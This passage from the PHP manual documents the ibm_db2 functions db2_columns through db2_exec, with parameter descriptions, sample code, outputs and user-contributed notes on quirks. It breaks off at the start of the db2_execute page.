  • db2_primary_keys() - Returns a result set listing primary keys for a table
  • db2_procedure_columns() - Returns a result set listing stored procedure parameters
  • db2_procedures() - Returns a result set listing the stored procedures registered in a database
  • db2_special_columns() - Returns a result set listing the unique row identifier columns for a table
  • db2_statistics() - Returns a result set listing the index and statistics for a table
  • db2_table_privileges() - Returns a result set listing the tables and associated privileges in a database
  • db2_tables() - Returns a result set listing the tables and associated metadata in a database

User Contributed Notes

There are no user contributed notes for this page.


Returns a result set listing the columns and associated metadata for a table

  • ? db2_column_privileges
  • db2_commit ?
  • PHP Manual
  • IBM DB2 函数
  • Returns a result set listing the columns and associated metadata for a table

db2_columns

(PECL ibm_db2 >= 1.0.0)

db2_columns — Returns a result set listing the columns and associated metadata for a table

说明

db2_columns(
resource $connection,
?string $qualifier = null,
?string $schema = null,
?string $table_name = null,
?string $column_name = null
): resource

Returns a result set listing the columns and associated metadata for a table.

参数

connection

A valid connection to an IBM DB2, Cloudscape, or Apache Derby database.

qualifier

A qualifier for DB2 databases running on OS/390 or z/OS servers. For other databases, pass null or an empty string.

schema

The schema which contains the tables. To match all schemas, pass '%'.

table_name

The name of the table or view. To match all tables in the database, pass null or an empty string.

column_name

The name of the column. To match all columns in the table, pass null or an empty string.

返回值

Returns a statement resource with a result set containing rows describing the columns matching the specified parameters. The rows are composed of the following columns:

Column name | Description
TABLE_CAT | Name of the catalog. The value is NULL if this table does not have catalogs.
TABLE_SCHEM | Name of the schema.
TABLE_NAME | Name of the table or view.
COLUMN_NAME | Name of the column.
DATA_TYPE | The SQL data type for the column represented as an integer value.
TYPE_NAME | A string representing the data type for the column.
COLUMN_SIZE | An integer value representing the size of the column.
BUFFER_LENGTH | Maximum number of bytes necessary to store data from this column.
DECIMAL_DIGITS | The scale of the column, or null where scale is not applicable.
NUM_PREC_RADIX | An integer value of either 10 (representing an exact numeric data type), 2 (representing an approximate numeric data type), or null (representing a data type for which radix is not applicable).
NULLABLE | An integer value representing whether the column is nullable or not.
REMARKS | Description of the column.
COLUMN_DEF | Default value for the column.
SQL_DATA_TYPE | An integer value representing the size of the column.
SQL_DATETIME_SUB | Returns an integer value representing a datetime subtype code, or null for SQL data types to which this does not apply.
CHAR_OCTET_LENGTH | Maximum length in octets for a character data type column, which matches COLUMN_SIZE for single-byte character set data, or null for non-character data types.
ORDINAL_POSITION | The 1-indexed position of the column in the table.
IS_NULLABLE | A string value where 'YES' means that the column is nullable and 'NO' means that the column is not nullable.

参见

  • db2_column_privileges() - Returns a result set listing the columns and associated privileges for a table
  • db2_foreign_keys() - Returns a result set listing the foreign keys for a table
  • db2_primary_keys() - Returns a result set listing primary keys for a table
  • db2_procedure_columns() - Returns a result set listing stored procedure parameters
  • db2_procedures() - Returns a result set listing the stored procedures registered in a database
  • db2_special_columns() - Returns a result set listing the unique row identifier columns for a table
  • db2_statistics() - Returns a result set listing the index and statistics for a table
  • db2_table_privileges() - Returns a result set listing the tables and associated privileges in a database
  • db2_tables() - Returns a result set listing the tables and associated metadata in a database

User Contributed Notes

Anonymous 25-Sep-2014 10:22
As with previous message, passing null as the last param with db2_columns results in nothing being returned. Passing '%' instead works. The documentation really needs to be updated to correct this error as it's very misleading and was reported as wrong 8 years ago!
david dot rekowski at gmx dot de 06-Aug-2008 07:21
must be
db2_columns($conn, '', '%', $table, '%');

Don't forget that table names are UPPERCASE. That gave me quite some headache.
lada(at)hoidekr.net 04-Sep-2006 11:48
This is not true!
column-name
    The name of the column. To match all columns in the table, pass NULL or an empty string.

You should pass '%' to match all columns


Commits a transaction

  • ? db2_columns
  • db2_conn_error ?
  • PHP Manual
  • IBM DB2 函数
  • Commits a transaction

db2_commit

(PECL ibm_db2 >= 1.0.0)

db2_commit — Commits a transaction

说明

db2_commit(resource $connection): bool

Commits an in-progress transaction on the specified connection resource and begins a new transaction. PHP applications normally default to AUTOCOMMIT mode, so db2_commit() is not necessary unless AUTOCOMMIT has been turned off for the connection resource.

参数

connection

A valid database connection resource variable as returned from db2_connect() or db2_pconnect().

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • db2_autocommit() - Returns or sets the AUTOCOMMIT state for a database connection
  • db2_rollback() - Rolls back a transaction

User Contributed Notes

There are no user contributed notes for this page.


Returns a string containing the SQLSTATE returned by the last connection attempt

  • ? db2_commit
  • db2_conn_errormsg ?
  • PHP Manual
  • IBM DB2 函数
  • Returns a string containing the SQLSTATE returned by the last connection attempt

db2_conn_error

(PECL ibm_db2 >= 1.0.0)

db2_conn_error — Returns a string containing the SQLSTATE returned by the last connection attempt

说明

db2_conn_error(?resource $connection = null): string

db2_conn_error() returns an SQLSTATE value representing the reason the last attempt to connect to a database failed. As db2_connect() returns false in the event of a failed connection attempt, you do not pass any parameters to db2_conn_error() to retrieve the SQLSTATE value.

If, however, the connection was successful but becomes invalid over time, you can pass the connection parameter to retrieve the SQLSTATE value for a specific connection.

To learn what the SQLSTATE value means, you can issue the following command at a DB2 Command Line Processor prompt: db2 '? sqlstate-value'. You can also call db2_conn_errormsg() to retrieve an explicit error message and the associated SQLCODE value.

参数

connection

A connection resource associated with a connection that initially succeeded, but which over time became invalid.

返回值

Returns the SQLSTATE value resulting from a failed connection attempt. Returns an empty string if there is no error associated with the last connection attempt.

示例

Example #1 Retrieving an SQLSTATE value for a failed connection attempt

The following example demonstrates how to return an SQLSTATE value after deliberately passing invalid parameters to db2_connect().

<?php
$conn = db2_connect('badname', 'baduser', 'badpassword');
if (!$conn) {
print "SQLSTATE value: " . db2_conn_error();
}
?>

以上示例会输出：

SQLSTATE value: 08001

参见

  • db2_conn_errormsg() - Returns the last connection error message and SQLCODE value
  • db2_connect() - Returns a connection to a database
  • db2_stmt_error() - Returns a string containing the SQLSTATE returned by an SQL statement
  • db2_stmt_errormsg() - Returns a string containing the last SQL statement error message

User Contributed Notes

There are no user contributed notes for this page.


Returns the last connection error message and SQLCODE value

  • ? db2_conn_error
  • db2_connect ?
  • PHP Manual
  • IBM DB2 函数
  • Returns the last connection error message and SQLCODE value

db2_conn_errormsg

(PECL ibm_db2 >= 1.0.0)

db2_conn_errormsg — Returns the last connection error message and SQLCODE value

说明

db2_conn_errormsg(?resource $connection = null): string

db2_conn_errormsg() returns an error message and SQLCODE value representing the reason the last database connection attempt failed. As db2_connect() returns false in the event of a failed connection attempt, do not pass any parameters to db2_conn_errormsg() to retrieve the associated error message and SQLCODE value.

If, however, the connection was successful but becomes invalid over time, you can pass the connection parameter to retrieve the associated error message and SQLCODE value for a specific connection.

参数

connection

A connection resource associated with a connection that initially succeeded, but which over time became invalid.

返回值

Returns a string containing the error message and SQLCODE value resulting from a failed connection attempt. If there is no error associated with the last connection attempt, db2_conn_errormsg() returns an empty string.

示例

Example #1 Retrieving the error message returned by a failed connection attempt

The following example demonstrates how to return an error message and SQLCODE value after deliberately passing invalid parameters to db2_connect().

<?php
$conn = db2_connect('badname', 'baduser', 'badpassword');
if (!$conn) {
print db2_conn_errormsg();
}
?>

以上示例会输出：

[IBM][CLI Driver] SQL1013N  The database alias name
or database name "BADNAME" could not be found.  SQLSTATE=42705
 SQLCODE=-1013

参见

  • db2_conn_error() - Returns a string containing the SQLSTATE returned by the last connection attempt
  • db2_connect() - Returns a connection to a database
  • db2_stmt_error() - Returns a string containing the SQLSTATE returned by an SQL statement
  • db2_stmt_errormsg() - Returns a string containing the last SQL statement error message

User Contributed Notes

nnd100216ibmdb2 at smallcue dot com 16-Feb-2010 07:25
A word of warning:

It appears that if you specify an invalid ibm_db2.instance_name  in your php.ini file, your cataloged db2_connect() will fail with a returned value of false and when you use db2_conn_error() or db2_conn_errormsg() to check on the reason, those functions will return an empty string.


Returns a connection to a database

  • ? db2_conn_errormsg
  • db2_cursor_type ?
  • PHP Manual
  • IBM DB2 函数
  • Returns a connection to a database

db2_connect

(PECL ibm_db2 >= 1.0.0)

db2_connect — Returns a connection to a database

说明

db2_connect(
string $database,
?string $username,
?string $password,
array $options = []
): resource|false

Creates a new connection to an IBM DB2 Universal Database, IBM Cloudscape, or Apache Derby database.

参数

database

For a cataloged connection to a database, database represents the database alias in the DB2 client catalog.

For an uncataloged connection to a database, database represents a complete connection string in the following format:

DATABASE=database;HOSTNAME=hostname;PORT=port;PROTOCOL=TCPIP;UID=username;PWD=password;
where the parameters represent the following values:
database

The name of the database.

hostname

The hostname or IP address of the database server.

port

The TCP/IP port on which the database is listening for requests.

username

The username with which you are connecting to the database.

password

The password with which you are connecting to the database.

username

The username with which you are connecting to the database.

For uncataloged connections, you must pass a null value or empty string.

password

The password with which you are connecting to the database.

For uncataloged connections, you must pass a null value or empty string.

options

An associative array of connection options that affect the behavior of the connection, where valid array keys include:

autocommit

Passing the DB2_AUTOCOMMIT_ON value turns autocommit on for this connection handle.

Passing the DB2_AUTOCOMMIT_OFF value turns autocommit off for this connection handle.

DB2_ATTR_CASE

Passing the DB2_CASE_NATURAL value specifies that column names are returned in natural case.

Passing the DB2_CASE_LOWER value specifies that column names are returned in lower case.

Passing the DB2_CASE_UPPER value specifies that column names are returned in upper case.

CURSOR

Passing the DB2_FORWARD_ONLY value specifies a forward-only cursor for a statement resource. This is the default cursor type and is supported on all database servers.

Passing the DB2_SCROLLABLE value specifies a scrollable cursor for a statement resource. This mode enables random access to rows in a result set, but currently is supported only by IBM DB2 Universal Database.

The following new option is available in ibm_db2 version 1.7.0 and later.

trustedcontext

Passing the DB2_TRUSTED_CONTEXT_ENABLE value turns trusted context on for this connection handle. This parameter cannot be set using db2_set_option().

This key works only if the database is cataloged (even if the database is local), or if you specify the full DSN when you create the connection.

To catalog the database, use following commands:

db2 catalog tcpip node loopback remote <SERVERNAME> server <SERVICENAME>
db2 catalog database <LOCALDBNAME> as <REMOTEDBNAME> at node loopback
db2 "update dbm cfg using svcename <SERVICENAME>"
db2set DB2COMM=TCPIP

The following new i5/OS options are available in ibm_db2 version 1.5.1 and later.

i5_lib

A character value that indicates the default library that will be used for resolving unqualified file references. This is not valid if the connection is using system naming mode.

i5_naming

DB2_I5_NAMING_ON value turns on DB2 UDB CLI iSeries system naming mode. Files are qualified using the slash (/) delimiter. Unqualified files are resolved using the library list for the job.

DB2_I5_NAMING_OFF value turns off DB2 UDB CLI default naming mode, which is SQL naming. Files are qualified using the period (.) delimiter. Unqualified files are resolved using either the default library or the current user ID.

i5_commit

The i5_commit attribute should be set before the db2_connect(). If the value is changed after the connection has been established, and the connection is to a remote data source, the change does not take effect until the next successful db2_connect() for the connection handle.

Note:

The php.ini setting ibm_db2.i5_allow_commit==0 or DB2_I5_TXN_NO_COMMIT is the default, but may be overridden with the i5_commit option.

DB2_I5_TXN_NO_COMMIT - Commitment control is not used.

DB2_I5_TXN_READ_UNCOMMITTED - Dirty reads, nonrepeatable reads, and phantoms are possible.

DB2_I5_TXN_READ_COMMITTED - Dirty reads are not possible. Nonrepeatable reads, and phantoms are possible.

DB2_I5_TXN_REPEATABLE_READ - Dirty reads and nonrepeatable reads are not possible. Phantoms are possible.

DB2_I5_TXN_SERIALIZABLE - Transactions are serializable. Dirty reads, non-repeatable reads, and phantoms are not possible

i5_query_optimize

DB2_FIRST_IO All queries are optimized with the goal of returning the first page of output as fast as possible. This goal works well when the output is controlled by a user who is most likely to cancel the query after viewing the first page of output data. Queries coded with an OPTIMIZE FOR nnn ROWS clause honor the goal specified by the clause.

DB2_ALL_IO All queries are optimized with the goal of running the entire query to completion in the shortest amount of elapsed time. This is a good option when the output of a query is being written to a file or report, or the interface is queuing the output data. Queries coded with an OPTIMIZE FOR nnn ROWS clause honor the goal specified by the clause. This is the default.

i5_dbcs_alloc

DB2_I5_DBCS_ALLOC_ON value turns on DB2 6X allocation scheme for DBCS translation column size growth.

DB2_I5_DBCS_ALLOC_OFF value turns off DB2 6X allocation scheme for DBCS translation column size growth.

Note: php.ini setting ibm_db2.i5_dbcs_alloc==0 or DB2_I5_DBCS_ALLOC_OFF is the default, but may be overridden with the i5_dbcs_alloc option.

i5_date_fmt

DB2_I5_FMT_ISO - The International Organization for Standardization (ISO) date format yyyy-mm-dd is used. This is the default.

DB2_I5_FMT_USA - The United States date format mm/dd/yyyy is used.

DB2_I5_FMT_EUR - The European date format dd.mm.yyyy is used.

DB2_I5_FMT_JIS - The Japanese Industrial Standard date format yyyy-mm-dd is used.

DB2_I5_FMT_MDY - The date format mm/dd/yyyy is used.

DB2_I5_FMT_DMY - The date format dd/mm/yyyy is used.

DB2_I5_FMT_YMD - The date format yy/mm/dd is used.

DB2_I5_FMT_JUL - The Julian date format yy/ddd is used.

DB2_I5_FMT_JOB - The job default is used.

i5_date_sep

DB2_I5_SEP_SLASH - A slash ( / ) is used as the date separator. This is the default.

DB2_I5_SEP_DASH - A dash ( - ) is used as the date separator.

DB2_I5_SEP_PERIOD - A period ( . ) is used as the date separator.

DB2_I5_SEP_COMMA - A comma ( , ) is used as the date separator.

DB2_I5_SEP_BLANK - A blank is used as the date separator.

DB2_I5_SEP_JOB - The job default is used

i5_time_fmt

DB2_I5_FMT_ISO - The International Organization for Standardization (ISO) time format hh.mm.ss is used. This is the default.

DB2_I5_FMT_USA - The United States time format hh:mmxx is used, where xx is AM or PM.

DB2_I5_FMT_EUR - The European time format hh.mm.ss is used.

DB2_I5_FMT_JIS - The Japanese Industrial Standard time format hh:mm:ss is used.

DB2_I5_FMT_HMS - The hh:mm:ss format is used.

i5_time_sep

DB2_I5_SEP_COLON - A colon ( : ) is used as the time separator. This is the default.

DB2_I5_SEP_PERIOD - A period ( . ) is used as the time separator.

DB2_I5_SEP_COMMA - A comma ( , ) is used as the time separator.

DB2_I5_SEP_BLANK - A blank is used as the time separator.

DB2_I5_SEP_JOB - The job default is used.

i5_decimal_sep

DB2_I5_SEP_PERIOD - A period ( . ) is used as the decimal separator. This is the default.

DB2_I5_SEP_COMMA - A comma ( , ) is used as the decimal separator.

DB2_I5_SEP_JOB - The job default is used.

The following new i5/OS option is available in ibm_db2 version 1.8.0 and later.

i5_libl

A character value that indicates the library list that will be used for resolving unqualified file references. Specify the library list elements separated by blanks 'i5_libl'=>"MYLIB YOURLIB ANYLIB".

Note:

i5_libl calls qsys2/qcmdexc('cmd',cmdlen), which is only available in i5/OS V5R4 and later.

返回值

Returns a connection handle resource if the connection attempt is successful. If the connection attempt fails, db2_connect() returns false.

示例

Example #1 Creating a cataloged connection

Cataloged connections require you to have previously cataloged the target database through the DB2 Command Line Processor (CLP) or DB2 Configuration Assistant.

<?php
$database = 'SAMPLE';
$user = 'db2inst1';
$password = 'ibmdb2';

$conn = db2_connect($database, $user, $password);

if ($conn) {
echo "Connection succeeded.";
db2_close($conn);
}
else {
echo "Connection failed.";
}
?>

以上示例会输出：

Connection succeeded.

Example #2 Creating an uncataloged connection

An uncataloged connection enables you to dynamically connect to a database.

<?php
$database = 'SAMPLE';
$user = 'db2inst1';
$password = 'ibmdb2';
$hostname = 'localhost';
$port = 50000;

$conn_string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$database;" .
"HOSTNAME=$hostname;PORT=$port;PROTOCOL=TCPIP;UID=$user;PWD=$password;";
$conn = db2_connect($conn_string, '', '');

if ($conn) {
echo "Connection succeeded.";
db2_close($conn);
}
else {
echo "Connection failed.";
}
?>

以上示例会输出：

Connection succeeded.

Example #3 Creating a connection with autocommit off by default

Passing an array of options to db2_connect() enables you to modify the default behavior of the connection handle.

<?php
$database = 'SAMPLE';
$user = 'db2inst1';
$password = 'ibmdb2';
$options = array('autocommit' => DB2_AUTOCOMMIT_OFF);

$conn = db2_connect($database, $user, $password, $options);

if ($conn) {
echo "Connection succeeded.\n";
if (db2_autocommit($conn)) {
echo "Autocommit is on.\n";
}
else {
echo "Autocommit is off.\n";
}
db2_close($conn);
}
else {
echo "Connection failed.";
}
?>

以上示例会输出：

Connection succeeded.
Autocommit is off.

Example #4 i5/OS best performance

To achieve best performance for your i5/OS ibm_db2 1.5.1 PHP application use the default host, userid, and password for your db2_connect().

<?php
$library = "ADC";
$i5 = db2_connect("", "", "", array("i5_lib"=>"qsys2"));
$result = db2_exec($i5,
"select * from systables where table_schema = '$library'");
while ($row = db2_fetch_both($result)) {
echo $row['TABLE_NAME']."</br>";
}
db2_close($i5);
?>

以上示例会输出：

ANIMALS
NAMES
PICTURES

Example #5 Using trusted context

The following example shows how to enable trusted context, switch users, and get the current user ID.

<?php

$database = "SAMPLE";
$hostname = "localhost";
$port = 50000;
$authID = "db2inst1";
$auth_pass = "ibmdb2";

$tc_user = "tcuser";
$tc_pass = "tcpassword";

$dsn = "DATABASE=$database;HOSTNAME=$hostname;PORT=$port;
PROTOCOL=TCPIP;UID=$authID;PWD=$auth_pass;";
$options = array ("trustedcontext" => DB2_TRUSTED_CONTEXT_ENABLE);

$tc_conn = db2_connect($dsn, "", "", $options);
if($tc_conn) {
echo "Explicit trusted connection succeeded.\n";

if(db2_get_option($tc_conn, "trustedcontext")) {
$userBefore = db2_get_option($tc_conn, "trusted_user");

//Do some work as user 1.

//Switching to trusted user.
$parameters = array("trusted_user" => $tc_user,
"trusted_password" => $tcuser_pass);
$res = db2_set_option ($tc_conn, $parameters, 1);

$userAfter = db2_get_option($tc_conn, "trusted_user");
//Do more work as trusted user.

if($userBefore != $userAfter) {
echo "User has been switched." . "\n";
}
}

db2_close($tc_conn);
}
else {
echo "Explicit trusted connection failed.\n";
}
?>

以上示例会输出：

Explicit trusted connection succeeded.
User has been switched.

参见

  • db2_close() - Closes a database connection
  • db2_pconnect() - Returns a persistent connection to a database

User Contributed Notes

d dot lanza38 at gmail dot com 29-Sep-2015 01:16
As of 09/29/2015 when using the ibm_db2 driver and specifying an invalid library list with the 'i5_libl' option, the connection will be successfully created but with a default library list.  What happens is the connection is made and THEN the library list is attempted to be changed.  The connection will be a success but the library list change will fail without "db2_conn_error()" or "db2_conn_errormsg()" reporting anything and a default library list will be used.  However, "db2_stmt_error()" and "db2_stmt_errormsg()" will register with a value.  Also if error reporting is enable, the warning will be output to the screen.  This is not a bug, rather intended behavior according to Zend (I opened a ticked) and depending on which library list is used/swapped could lead to major problems (development VS production).  I stumbled upon this behavior when an anomaly (which I still can't explain) was imploding my library list with the character 'Z'.  I realized I was in my development environment but accessing production data as a result.  Going forward I will make sure to add this additional check for good measure.

See below to recreate behavior:

<?php
ini_set("display_errors", 1);

$systemName = 'systemName';
$userID = 'userName';
$password = 'password';

$options['i5_libl'] = implode('Z', array(
        'INVALID',
    'LIB',
    'LIST',
    'IMPLODED',
    'WITH',
    'THE',
    'LETTER',
    'Z'
    ));

$options['i5_naming'] = DB2_I5_NAMING_ON;

$conn = db2_connect($systemName, $userID, $password, $options);
//This line causes "ini_set("display_errors", 1)" to dislay this warning on the screen:
//Warning: db2_connect(): Statement Execute Failed in /PATH/TO/FILE/test.php on line 58

if (db2_stmt_error()) { //Evaluates to true
    echo "error ID: " . (db2_stmt_error()); //Displays error code: 38501
    echo "<br>error message: " . (db2_stmt_errormsg()); //Displays: Trigger program or external routine detected an error. SQLCODE=-443
}

echo "<br />|".db2_conn_error()." ||| ".db2_conn_errormsg()."|<br />"; //Only "| ||| |" is displayed
print_r($conn); //A resource ID is displayed
echo "<br />";

if(isset($conn) && $conn === true){
    echo "Boolean true<br />";
    //never executes, but not expected since either false or a resource ID should be returned.
    //Plus it is clear $conn contains a resource ID from above.
}
if(isset($conn) && $conn == true){
    echo "Non-Boolean true 2<br />";
    //This always executes regardless of an accurate library list or not
    //I suppose "if($conn)" would evaluate to non-boolean true so this makes sense.
}
if(isset($conn) && $conn == "true"){
    echo "String true";
    //Never executes, but not expected.
}
if(isset($conn) && $conn === false){
    echo "Boolean false<br />";
    //never executes because the connection itself was a success.
    //If invalid credentials were provided this executes.
}
if(isset($conn) && $conn == false){
    echo "Non-Boolean false 2<br />";
    //never executes because the connection itself was a success.
    //Added this here because I was unsure if a boolean false would be returned or not.
    //If invalid credentials were provided this executes as well.
}
if(isset($conn) && $conn == "false"){
    echo "String false";
    //never executes because the connection itself was a success.
    //Added this here because I was unsure if a String "false" would be returned
}
?>


Returns the cursor type used by a statement resource

  • ? db2_connect
  • db2_escape_string ?
  • PHP Manual
  • IBM DB2 函数
  • Returns the cursor type used by a statement resource

db2_cursor_type

(PECL ibm_db2 >= 1.0.0)

db2_cursor_type — Returns the cursor type used by a statement resource

说明

db2_cursor_type(resource $stmt): int

Returns the cursor type used by a statement resource. Use this to determine if you are working with a forward-only cursor or scrollable cursor.

参数

stmt

A valid statement resource.

返回值

Returns either DB2_FORWARD_ONLY if the statement resource uses a forward-only cursor or DB2_SCROLLABLE if the statement resource uses a scrollable cursor.

参见

  • db2_prepare() - Prepares an SQL statement to be executed

User Contributed Notes

There are no user contributed notes for this page.


Used to escape certain characters

  • ? db2_cursor_type
  • db2_exec ?
  • PHP Manual
  • IBM DB2 函数
  • Used to escape certain characters

db2_escape_string

(PECL ibm_db2 >= 1.6.0)

db2_escape_string — Used to escape certain characters

说明

db2_escape_string(string $string_literal): string

Prepends backslashes to special characters in the string argument.

参数

string_literal

The string that contains special characters that need to be modified. Characters that are prepended with a backslash are \x00, \n, \r, \, ', " and \x1a.

返回值

Returns string_literal with the special characters noted above prepended with backslashes.

示例

Example #1 A db2_escape_string() example

Result of using the db2_escape_string() function

<?php

$conn = db2_connect($database, $user, $password);

if ($conn) {
$str[0] = "All characters: \x00 , \n , \r , \ , ' , \" , \x1a .";
$str[1] = "Backslash (\). Single quote ('). Double quote (\")";
$str[2] = "The NULL character \0 must be quoted as well";
$str[3] = "Intersting characters: \x1a , \x00 .";
$str[4] = "Nothing to quote";
$str[5] = 200676;
$str[6] = "";

foreach( $str as $string ) {
echo "db2_escape_string: " . db2_escape_string($string). "\n";
}
}
?>

以上示例会输出：

db2_escape_string: All characters: \0 , \n , \r , \\ , \' , \" , \Z .
db2_escape_string: Backslash (\\). Single quote (\'). Double quote (\")
db2_escape_string: The NULL character \0 must be quoted as well
db2_escape_string: Intersting characters: \Z , \0 .
db2_escape_string: Nothing to quote
db2_escape_string: 200676
db2_escape_string:

参见

  • db2_prepare() - Prepares an SQL statement to be executed

User Contributed Notes

hippyjim 27-May-2009 06:52
One thing to note here - don't know if it applies to all DB2 installations, and I know I'm using an antiquated one, but my DB2 install wants a ' to be quoted rather than slashed.

That means this function is useless to pick up apostrophes ' in strings, as it adds a slash which DB2 ignores.

You'll need to use something like str_replace to swap your ' for ''.


Executes an SQL statement directly

  • ? db2_escape_string
  • db2_execute ?
  • PHP Manual
  • IBM DB2 函数
  • Executes an SQL statement directly

db2_exec

(PECL ibm_db2 >= 1.0.0)

db2_exec — Executes an SQL statement directly

说明

db2_exec(resource $connection, string $statement, array $options = []): resource|false

Executes an SQL statement directly.

If you plan to interpolate PHP variables into the SQL statement, understand that this is one of the more common security exposures. Consider calling db2_prepare() to prepare an SQL statement with parameter markers for input values. Then you can call db2_execute() to pass in the input values and avoid SQL injection attacks.

If you plan to repeatedly issue the same SQL statement with different parameters, consider calling db2_prepare() and db2_execute() to enable the database server to reuse its access plan and increase the efficiency of your database access.

参数

connection

A valid database connection resource variable as returned from db2_connect() or db2_pconnect().

statement

An SQL statement. The statement cannot contain any parameter markers.

options

An associative array containing statement options. You can use this parameter to request a scrollable cursor on database servers that support this functionality.

For a description of valid statement options, see db2_set_option().

返回值

Returns a statement resource if the SQL statement was issued successfully, or false if the database failed to execute the SQL statement.

示例

Example #1 Creating a table with db2_exec()

The following example uses db2_exec() to issue a set of DDL statements in the process of creating a table.

<?php
$conn = db2_connect($database, $user, $password);

// Create the test table
$create = 'CREATE TABLE animals (id INTEGER, breed VARCHAR(32),
name CHAR(16), weight DECIMAL(7,2))';
$result = db2_exec($conn, $create);
if ($result) {
print "Successfully created the table.\n";
}

// Populate the test table
$animals = array(
array(0, 'cat', 'Pook', 3.2),
array(1, 'dog', 'Peaches', 12.3),
array(2, 'horse', 'Smarty', 350.0),
array(3, 'gold fish', 'Bubbles', 0.1),
array(4, 'budgerigar', 'Gizmo', 0.2),
array(5, 'goat', 'Rickety Ride', 9.7),
array(6, 'llama', 'Sweater', 150)
);

foreach ($animals as $animal) {
$rc = db2_exec($conn, "INSERT INTO animals (id, breed, name, weight)
VALUES ({$animal[0]}, '{$animal[1]}', '{$animal[2]}', {$animal[3]})");
if ($rc) {
print "Insert... ";
}
}
?>

以上示例会输出：

Successfully created the table.
Insert... Insert... Insert... Insert... Insert... Insert... Insert...

Example #2 Executing a SELECT statement with a scrollable cursor

The following example demonstrates how to request a scrollable cursor for an SQL statement issued by db2_exec().

<?php
$conn = db2_connect($database, $user, $password);
$sql = "SELECT name FROM animals
WHERE weight < 10.0
ORDER BY name";
if ($conn) {
require_once 'prepare.inc';
$stmt = db2_exec($conn, $sql, array('cursor' => DB2_SCROLLABLE));
while ($row = db2_fetch_array($stmt)) {
print "$row[0]\n";
}
}
?>

以上示例会输出：

Bubbles
Gizmo
Pook
Rickety Ride

Example #3 Returning XML data as an SQL ResultSet

The following example demonstrates how to work with documents stored in a XML column using the SAMPLE database. Using some pretty simple SQL/XML, this example returns some of the nodes in a XML document in an SQL ResultSet format that most users are familiar with.

<?php

$conn = db2_connect("SAMPLE", "db2inst1", "ibmdb2");

$query = 'SELECT * FROM XMLTABLE(
XMLNAMESPACES (DEFAULT \'http://posample.org\'),
\'db2-fn:xmlcolumn("CUSTOMER.INFO")/customerinfo\'
COLUMNS
"CID" VARCHAR (50) PATH \'@Cid\',
"NAME" VARCHAR (50) PATH \'name\',
"PHONE" VARCHAR (50) PATH \'phone [ @type = "work"]\'
) AS T
WHERE NAME = \'Kathy Smith\'
';
$stmt = db2_exec($conn, $query);

while($row = db2_fetch_object($stmt)){
printf("$row->CID $row->NAME $row->PHONE\n");
}
db2_close($conn);

?>

以上示例会输出：

1000     Kathy Smith     416-555-1358
1001     Kathy Smith     905-555-7258

Example #4 Performing a "JOIN" with XML data

The following example works with documents stored in 2 different XML columns in the SAMPLE database. It creates 2 temporary tables from the XML documents from 2 different columns and returns an SQL ResultSet with information regarding shipping status for the customer.

<?php

$conn = db2_connect("SAMPLE", "db2inst1", "ibmdb2");

$query = '
SELECT A.CID, A.NAME, A.PHONE, C.PONUM, C.STATUS
FROM
XMLTABLE(
XMLNAMESPACES (DEFAULT \'http://posample.org\'),
\'db2-fn:xmlcolumn("CUSTOMER.INFO")/customerinfo\'
COLUMNS
"CID" BIGINT PATH \'@Cid\',
"NAME" VARCHAR (50) PATH \'name\',
"PHONE" VARCHAR (50) PATH \'phone [ @type = "work"]\'
) as A,
PURCHASEORDER AS B,
XMLTABLE (
XMLNAMESPACES (DEFAULT \'http://posample.org\'),
\'db2-fn:xmlcolumn("PURCHASEORDER.PORDER")/PurchaseOrder\'
COLUMNS
"PONUM" BIGINT PATH \'@PoNum\',
"STATUS" VARCHAR (50) PATH \'@Status\'
) as C
WHERE A.CID = B.CUSTID AND
B.POID = C.PONUM AND
A.NAME = \'Kathy Smith\'
';

$stmt = db2_exec($conn, $query);

while($row = db2_fetch_object($stmt)){
printf("$row->CID $row->NAME $row->PHONE $row->PONUM $row->STATUS\n");
}

db2_close($conn);

?>

以上示例会输出：

1001     Kathy Smith     905-555-7258     5002     Shipped

Example #5 Returning SQL data as part of a larger XML document

The following example works with a portion of the PRODUCT.DESCRIPTION documents in the SAMPLE database. It creates a XML document containing product description (XML data) and pricing info (SQL data).

<?php

$conn = db2_connect("SAMPLE", "db2inst1", "ibmdb2");

$query = '
SELECT
XMLSERIALIZE(
XMLQUERY(\'
declare boundary-space strip;
declare default element namespace "http://posample.org";
<promoList> {
for $prod in $doc/product
where $prod/description/price < 10.00
order by $prod/description/price ascending
return(
<promoitem> {
$prod,
<startdate> {$start} </startdate>,
<enddate> {$end} </enddate>,
<promoprice> {$promo} </promoprice>
} </promoitem>
)
} </promoList>
\' passing by ref DESCRIPTION AS "doc",
PROMOSTART as "start",
PROMOEND as "end",
PROMOPRICE as "promo"
RETURNING SEQUENCE)
AS CLOB (32000))
AS NEW_PRODUCT_INFO
FROM PRODUCT
WHERE PID = \'100-100-01\'
';

$stmt = db2_exec($conn, $query);

while($row = db2_fetch_array($stmt)){
printf("$row[0]\n");
}
db2_close($conn);

?>

以上示例会输出：

<promoList xmlns="http://posample.org">
    <promoitem>
    <product pid="100-100-01">
        <description>
            <name>Snow Shovel, Basic 22 inch</name>
            <details>Basic Snow Shovel, 22 inches wide, straight handle with D-Grip</details>
            <price>9.99</price>
            <weight>1 kg</weight>
        </description>
    </product>
    <startdate>2004-11-19</startdate>
    <enddate>2004-12-19</enddate>
    <promoprice>7.25</promoprice>
    </promoitem>
</promoList>

参见

  • db2_execute() - Executes a prepared SQL statement
  • db2_prepare() - Prepares an SQL statement to be executed

User Contributed Notes

duc 12-Aug-2006 06:38
if you have the error message : PHP Warning:  db2_exec() [<a href='function.db2-exec'>function.db2-exec</a>]: Statement Execute Failed in (....)
and cannot display the error message using db2_stmt_errormsg() , then check if your database connection handle is (still) valid
shawn at frozen-o dot com 19-May-2006 10:34
If you need to "emulate" offset/limit (as PEAR::DB puts it) for db2 queries, you will definitely need to add array('cursor' => DB2_SCROLLABLE) to your db2_exec() call. Otherwise, you will get nothing useful from db2_fetch_{whatever}() when you try to (see following hack for example):

<?php
$limit = 10;
$offset = 20;

for ($i = 0; $i < $limit && $row = db2_fetch_array($result, $offset + $i); $i++) {
    // stuff goes here
}
?>

You can accomplish the same time of thing using sub-selects, "with" statements and other things new to me in the world of DB2, but the more dynamically generated the queries, the more difficult it gets to implement limit/offset behavior on the fly.


Executes a prepared SQL statement

  • ? db2_exec
  • db2_fetch_array ?
  • PHP Manual
  • IBM DB2 函数
  • Executes a prepared SQL statement

db2_execute

(PECL ibm_db2 >= 1.0.0)

db2_execute — Executes a prepared SQL statement

说明

